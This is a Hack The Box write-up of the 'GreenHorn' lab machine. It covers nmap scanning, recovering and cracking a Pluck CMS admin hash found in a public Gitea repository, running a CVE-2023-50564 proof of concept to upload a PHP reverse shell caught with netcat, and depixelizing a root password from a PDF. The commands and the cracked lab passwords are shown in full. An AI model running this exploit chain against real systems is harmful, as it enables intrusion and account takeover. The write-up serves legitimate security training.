GreenHorn Walkthrough - HTB Easy | Pluck CMS RCE & Password Depixelization
Complete walkthrough of GreenHorn from Hack The Box. Covers exploiting Pluck CMS vulnerability for Remote Code Execution, credential extraction from Gitea repository, SHA-512 hash cracking, and depixelizing obfuscated passwords from PDF files to gain root access.
Overview
GreenHorn is an easy difficulty machine that takes advantage of an exploit in Pluck to achieve Remote Code Execution and then demonstrates the dangers of pixelated credentials. The machine also showcases that we must be careful when sharing open-source configurations to ensure that we do not reveal files containing passwords or other information that should be kept confidential.
External Enumeration
Nmap
Let’s start with nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌─[dua2z3rr@parrot]─[~]
└──╼ $nmap 10.10.11.25 -vv -p-
<SNIP>
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack
80/tcp open http syn-ack
3000/tcp open ppp syn-ack
<SNIP>
┌─[dua2z3rr@parrot]─[~]
└──╼ $nmap 10.10.11.25 -vv -p22,80,3000 -sC -sV
<SNIP>
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 57:d6:92:8a:72:44:84:17:29:eb:5c:c9:63:6a:fe:fd (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBOp+cK9ugCW282Gw6Rqe+Yz+5fOGcZzYi8cmlGmFdFAjI1347tnkKumDGK1qJnJ1hj68bmzOONz/x1CMeZjnKMw=
| 256 40:ea:17:b1:b6:c5:3f:42:56:67:4a:3c:ee:75:23:2f (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIEZQbCc8u6r2CVboxEesTZTMmZnMuEidK9zNjkD2RGEv
80/tcp open http syn-ack nginx 1.18.0 (Ubuntu)
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Did not follow redirect to http://greenhorn.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
3000/tcp open ppp? syn-ack
| fingerprint-strings:
| GenericLines, Help, RTSPRequest:
| HTTP/1.1 400 Bad Request
| Content-Type: text/plain; charset=utf-8
| Connection: close
| Request
| GetRequest:
| HTTP/1.0 200 OK
| Cache-Control: max-age=0, private, must-revalidate, no-transform
| Content-Type: text/html; charset=utf-8
| Set-Cookie: i_like_gitea=8c44f9b5e0db4f78; Path=/; HttpOnly; SameSite=Lax
| Set-Cookie: _csrf=87OxI61feXggBNpubNJ9Maca4v06MTc2MTc0NzA2MjIzNDAzMDc0Mg; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
| X-Frame-Options: SAMEORIGIN
| Date: Wed, 29 Oct 2025 14:11:02 GMT
| <!DOCTYPE html>
| <html lang="en-US" class="theme-auto">
| <head>
| <meta name="viewport" content="width=device-width, initial-scale=1">
| <title>GreenHorn</title>
<SNIP>
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Key findings:
- Port 22: SSH (OpenSSH 8.9p1)
- Port 80: HTTP running nginx 1.18.0
- Port 3000: Service with Gitea cookie (
i_like_gitea) - Domain: greenhorn.htb
Web Application Analysis
HTTP Service (Port 80)
Visiting port 80 reveals two pages welcoming us to GreenHorn:
At the bottom of both messages, we see the site is powered by pluck.
In the HTML source code, we can find the pluck version:
Pluck CMS version: 4.7.18
Let’s visit port 3000 before searching for an exploit.
Gitea Service (Port 3000)
As expected, it’s a Gitea instance.
Exploit Research
Pluck CMS Vulnerability
We find an exploit, but it requires credentials for the admin dashboard.
Credential Discovery via Gitea
Public Repository
Creating an account in Gitea and exploring, we find a public repository:
Let’s explore the repository.
Configuration Files
We find an interesting file called security.php in /data/inc:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<?php
/*
* This file is part of pluck, the easy content management system
* Copyright (c) pluck team
* http://www.pluck-cms.org
* Pluck is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, either version 3 of the License, or
* (at your option) any later version.
* See docs/COPYING for the complete license.
* This is a file that checks for hacking attempts and blocks them.
*/
//Make sure the file isn't accessed directly.
defined('IN_PLUCK') or exit('Access denied!');
/*
* Version constant
* This constant is defined here to allow for hooks to be added inside modules.
* For other constants, see variables.all.php and variables.site.php
*/
define('PLUCK_VERSION', '4.7.18');
//Error reporting default is (E_ALL ^ E_NOTICE) - but use server configuration for production environment
//Uncomment next line for development (shows every possible error)
//error_reporting(-1);
//Set default timezone.
date_default_timezone_set('UTC');
/* Register Globals.
* If Register Globals are ON, unset injected variables.
*/
if (isset($_REQUEST)) {
foreach ($_REQUEST as $key => $value) {
if (isset($GLOBALS[$key]))
unset($GLOBALS[$key]);
}
unset($key);
}
/* Cross Site Scripting, Remote File Inclusion, etc.
* First check if $_GET values are arrays.
* Then check for strange characters in $_GET values.
* All values with ".." or "\" or ":" or "<" or ">" or "&" or "=" or '"' or "?" or "*" are blocked, so that it's virtually impossible to inject any HTML-code, or external websites.
* TODO: This is just a quick and dirty fix for the actual problem!
*/
foreach ($_GET as $get_value) {
if (is_array($get_value) || preg_match('/\.\.|[\\\\:<>&="?*]/', $get_value))
die ('A hacking attempt has been detected. For security reasons, we\'re blocking any code execution.');
}
unset($get_value);
/*
* Undo magic quotes; http://php.net/manual/en/security.magicquotes.disabling.php.
*/
ini_set('magic_quotes_sybase', 0);
ini_set('magic_quotes_runtime', 0);
if (function_exists('get_magic_quotes_gpc') && @get_magic_quotes_gpc() === 1) {
function stripslashes_deep($value) {
$value = is_array($value) ? array_map('stripslashes_deep', $value) : stripslashes($value);
return $value;
}
$_POST = array_map('stripslashes_deep', $_POST);
$_GET = array_map('stripslashes_deep', $_GET);
$_COOKIE = array_map('stripslashes_deep', $_COOKIE);
$_REQUEST = array_map('stripslashes_deep', $_REQUEST);
}
/*
* Check if we have a saved security token. If not, generate one and save it.
*/
if (!file_exists('data/settings/token.php') && is_writable('data/settings')) {
$token = hash('sha512', uniqid(mt_rand(), true));
$data = fopen('data/settings/token.php', 'w');
fputs($data, '<?php $token = \''.$token.'\'; ?>');
fclose($data);
chmod('data/settings/token.php', 0777);
unset($token);
}
?>
This file could be useful for bypassing defenses. However, we need a password.
Password Storage
Using grep, I find the function that saves passwords during Pluck installation:
1
2
3
4
5
6
function save_password($password) {
//MD5-hash password
$password = hash('sha512', $password);
//Save password
save_file('data/settings/pass.php', array('ww' => $password));
}
The password is saved in data/settings/pass.php.
Reading the hash from the file:
1
2
3
<?php
$ww = 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163';
?>
Password Cracking
Hashcat
Let’s crack the hash we just obtained:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
┌─[dua2z3rr@parrot]─[~]
└──╼ $hashid -m d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163
Analyzing 'd5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163'
[+] SHA-512 [Hashcat Mode: 1700]
[+] Whirlpool [Hashcat Mode: 6100]
[+] Salsa10
[+] Salsa20
[+] SHA3-512
[+] Skein-512
[+] Skein-1024(512)
┌─[dua2z3rr@parrot]─[~]
└──╼ $nano hash.txt
┌─[dua2z3rr@parrot]─[~]
└──╼ $hashcat -a 0 -m 1700 hash.txt rockyou.txt
hashcat (v6.2.6) starting
OpenCL API (OpenCL 3.0 PoCL 3.1+debian Linux, None+Asserts, RELOC, SPIR, LLVM 15.0.6, SLEEF, DISTRO, POCL_DEBUG) - Platform #1 [The pocl project]
==================================================================================================================================================
* Device #1: pthread-haswell-AMD Ryzen 7 3700X 8-Core Processor, 4283/8630 MB (2048 MB allocatable), 8MCU
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256
Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1
Optimizers applied:
* Zero-Byte
* Early-Skip
* Not-Salted
* Not-Iterated
* Single-Hash
* Single-Salt
* Raw-Hash
* Uses-64-Bit
ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.
Watchdog: Temperature abort trigger set to 90c
Host memory required for this attack: 2 MB
Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344385
* Bytes.....: 139921507
* Keyspace..: 14344385
d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe9612e3a4d770486743c5580556c0d838b51749de15530f87fb793afdcc689b6b39024d7790163:iloveyou1
Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1700 (SHA2-512)
Hash.Target......: d5443aef1b64544f3685bf112f6c405218c573c7279a831b1fe...790163
Time.Started.....: Wed Oct 29 16:44:47 2025 (0 secs)
Time.Estimated...: Wed Oct 29 16:44:47 2025 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........: 897.7 kH/s (1.50ms) @ Accel:1024 Loops:1 Thr:1 Vec:4
Recovered........: 1/1 (100.00%) Digests (total), 1/1 (100.00%) Digests (new)
Progress.........: 8192/14344385 (0.06%)
Rejected.........: 0/8192 (0.00%)
Restore.Point....: 0/14344385 (0.00%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: 123456 -> whitetiger
Hardware.Mon.#1..: Util: 12%
Started: Wed Oct 29 16:44:21 2025
Stopped: Wed Oct 29 16:44:48 2025
Password cracked: iloveyou1
Admin Login
Using the password on the site:
Now that we have credentials, we can use the exploit we found earlier.
Initial Access
Exploit Preparation
Here’s the complete procedure for the exploit:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
┌─[dua2z3rr@parrot]─[~]
└──╼ $git clone https://github.com/Rai2en/CVE-2023-50564_Pluck-v4.7.18_PoC.git
Cloning into 'CVE-2023-50564_Pluck-v4.7.18_PoC'...
remote: Enumerating objects: 28, done.
remote: Counting objects: 100% (28/28), done.
remote: Compressing objects: 100% (28/28), done.
remote: Total 28 (delta 11), reused 3 (delta 0), pack-reused 0 (from 0)
Receiving objects: 100% (28/28), 12.71 KiB | 123.00 KiB/s, done.
Resolving deltas: 100% (11/11), done.
┌─[dua2z3rr@parrot]─[~]
└──╼ $pip3 install requests requests_toolbelt --break-system-packages
Defaulting to user installation because normal site-packages is not writeable
Requirement already satisfied: requests in ./.local/lib/python3.11/site-packages (2.32.5)
Requirement already satisfied: requests_toolbelt in /usr/lib/python3/dist-packages (0.10.1)
Requirement already satisfied: charset_normalizer<4,>=2 in /usr/lib/python3/dist-packages (from requests) (3.0.1)
Requirement already satisfied: idna<4,>=2.5 in /usr/lib/python3/dist-packages (from requests) (3.3)
Requirement already satisfied: urllib3<3,>=1.21.1 in /usr/lib/python3/dist-packages (from requests) (1.26.12)
Requirement already satisfied: certifi>=2017.4.17 in /usr/lib/python3/dist-packages (from requests) (2022.9.24)
┌─[dua2z3rr@parrot]─[~]
└──╼ $cd CVE-2023-50564_Pluck-v4.7.18_PoC/
┌─[dua2z3rr@parrot]─[~/CVE-2023-50564_Pluck-v4.7.18_PoC]
└──╼ $nano poc.py
┌─[dua2z3rr@parrot]─[~/CVE-2023-50564_Pluck-v4.7.18_PoC]
└──╼ $nano poc.py
┌─[dua2z3rr@parrot]─[~/CVE-2023-50564_Pluck-v4.7.18_PoC]
└──╼ $ls -al
total 16
drwxr-xr-x 1 dua2z3rr dua2z3rr 70 29 ott 16.50 .
drwxr-xr-x 1 dua2z3rr dua2z3rr 2996 29 ott 16.44 ..
drwxr-xr-x 1 dua2z3rr dua2z3rr 138 29 ott 15.46 .git
-rw-r--r-- 1 dua2z3rr dua2z3rr 1067 29 ott 15.46 LICENSE
-rw-r--r-- 1 dua2z3rr dua2z3rr 1593 29 ott 16.50 poc.py
-rw-r--r-- 1 dua2z3rr dua2z3rr 1816 29 ott 15.46 README.md
-rw-r--r-- 1 dua2z3rr dua2z3rr 2693 29 ott 15.46 shell.rar
┌─[dua2z3rr@parrot]─[~/CVE-2023-50564_Pluck-v4.7.18_PoC]
└──╼ $cd ..
┌─[dua2z3rr@parrot]─[~]
└──╼ $cd php-reverse-shell/
┌─[dua2z3rr@parrot]─[~/php-reverse-shell]
└──╼ $ls -al
total 60
drwxr-xr-x 1 dua2z3rr dua2z3rr 172 24 ott 18.49 .
drwxr-xr-x 1 dua2z3rr dua2z3rr 2996 29 ott 16.44 ..
-rw-r--r-- 1 dua2z3rr dua2z3rr 62 25 set 22.22 CHANGELOG
-rw-r--r-- 1 dua2z3rr dua2z3rr 17987 25 set 22.22 COPYING.GPL
-rw-r--r-- 1 dua2z3rr dua2z3rr 308 25 set 22.22 COPYING.PHP-REVERSE-SHELL
drwxr-xr-x 1 dua2z3rr dua2z3rr 138 25 set 22.22 .git
-rw-r--r-- 1 dua2z3rr dua2z3rr 18047 25 set 22.22 LICENSE
-rwxr-xr-x 1 dua2z3rr dua2z3rr 5492 24 ott 18.49 php-reverse-shell.php
-rw-r--r-- 1 dua2z3rr dua2z3rr 20 25 set 22.22 README.md
┌─[dua2z3rr@parrot]─[~/php-reverse-shell]
└──╼ $nano php-reverse-shell.php #modify values
┌─[dua2z3rr@parrot]─[~/php-reverse-shell]
└──╼ $cp php-reverse-shell.php ../CVE-2023-50564_Pluck-v4.7.18_PoC/shell.php
┌─[dua2z3rr@parrot]─[~/php-reverse-shell]
└──╼ $cd ../CVE-2023-50564_Pluck-v4.7.18_PoC/
┌─[dua2z3rr@parrot]─[~/CVE-2023-50564_Pluck-v4.7.18_PoC]
└──╼ $ls -al
total 24
drwxr-xr-x 1 dua2z3rr dua2z3rr 88 29 ott 16.52 .
drwxr-xr-x 1 dua2z3rr dua2z3rr 2996 29 ott 16.44 ..
drwxr-xr-x 1 dua2z3rr dua2z3rr 138 29 ott 15.46 .git
-rw-r--r-- 1 dua2z3rr dua2z3rr 1067 29 ott 15.46 LICENSE
-rw-r--r-- 1 dua2z3rr dua2z3rr 1593 29 ott 16.50 poc.py
-rw-r--r-- 1 dua2z3rr dua2z3rr 1816 29 ott 15.46 README.md
-rwxr-xr-x 1 dua2z3rr dua2z3rr 5494 29 ott 16.52 shell.php
-rw-r--r-- 1 dua2z3rr dua2z3rr 2693 29 ott 15.46 shell.rar
Now let’s put shell.php in a zip file called payload.zip.
Running the Exploit
1
2
3
4
5
┌─[dua2z3rr@parrot]─[~/CVE-2023-50564_Pluck-v4.7.18_PoC]
└──╼ $python3 poc.py
ZIP file path: ./payload.zip
Login successful
ZIP file uploaded successfully.
Reverse shell received:
1
2
3
4
5
6
7
8
9
10
11
12
13
┌─[dua2z3rr@parrot]─[~]
└──╼ $nc -lnvp 9003
Listening on 0.0.0.0 9003
Connection received on 10.10.11.25 48564
Linux greenhorn 5.15.0-113-generic #123-Ubuntu SMP Mon Jun 10 08:16:17 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
15:56:24 up 2:02, 0 users, load average: 0.05, 0.03, 0.01
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
bash: cannot set terminal process group (1097): Inappropriate ioctl for device
bash: no job control in this shell
www-data@greenhorn:/$ whoami
whoami
www-data
Lateral Movement
Internal Enumeration
Let’s enumerate the /home directory:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
www-data@greenhorn:/$ cd home
cd home
www-data@greenhorn:/home$ ls -al
ls -al
total 16
drwxr-xr-x 4 root root 4096 Jun 20 2024 .
drwxr-xr-x 20 root root 4096 Jun 20 2024 ..
drwxr-x--- 2 git git 4096 Jun 20 2024 git
drwxr-xr-x 3 junior junior 4096 Jun 20 2024 junior
www-data@greenhorn:/home$ cd junior/
cd junior/
www-data@greenhorn:/home/junior$ ls -al
ls -al
total 76
drwxr-xr-x 3 junior junior 4096 Jun 20 2024 .
drwxr-xr-x 4 root root 4096 Jun 20 2024 ..
lrwxrwxrwx 1 junior junior 9 Jun 11 2024 .bash_history -> /dev/null
drwx------ 2 junior junior 4096 Jun 20 2024 .cache
-rw-r----- 1 root junior 61367 Jun 11 2024 Using OpenVAS.pdf
-rw-r----- 1 root junior 33 Oct 29 13:54 user.txt
We see a PDF file about OpenVAS, an open-source vulnerability scanner.
Let’s try changing user with the password we cracked earlier:
1
2
3
4
5
6
www-data@greenhorn:/$ su - junior
su - junior
Password: iloveyou1
ls
user.txt
Using OpenVAS.pdf
User flag obtained.
Privilege Escalation
PDF Analysis
First, let’s get our hands on Using OpenVAS.pdf, which is very suspicious. Here’s what it contains:
The password is pixelated. Let’s find a tool to read these pixels.
Depixelization Tool
This tool seems perfect for the job: https://github.com/spipm/Depixelization_poc.git
1
2
3
python3 depix.py -p <PATHTOIMAGE>/image.png -s
./images/searchimages/debruinseq_notepad_Windows10_closeAndSpaced.png -o
<DESIREDPATH>/output.png
Depixelated password: sidefromsidetheothersidesidefromsidetheotherside
Make sure to take a good image of only the pixelated text, or it won’t work!
Root Access
1
2
3
4
5
www-data@greenhorn:/$ su root
su root
Password: sidefromsidetheothersidesidefromsidetheotherside
whoami
root
Root flag obtained! Box completed.
Reflections
What Surprised Me
The depixelization technique was interesting. I never thought a technique like this one existed. It took me around 10 tries to get it. This box proved that pixelation is essentially security through obscurity. The patterns can be reconstructed with the right tools and the fact that someone took the time to pixelate the password but still included it in a shared document shows a fundamental misunderstanding of how security works.
Main Mistake
I initially took a picture of the pixellated password too big, and then too small. I recommend trying various sizes of the picture until one works for you.
Open Question
Should document management systems warn users when they attempt to share files containing pixelated text? The root password pattern suggests it was meant to be memorable yet secure, but storing it pixelated in a PDF completely defeats the purpose.
Completed this box? Did you use the depixelization tool or find another way? Leave a comment down below!








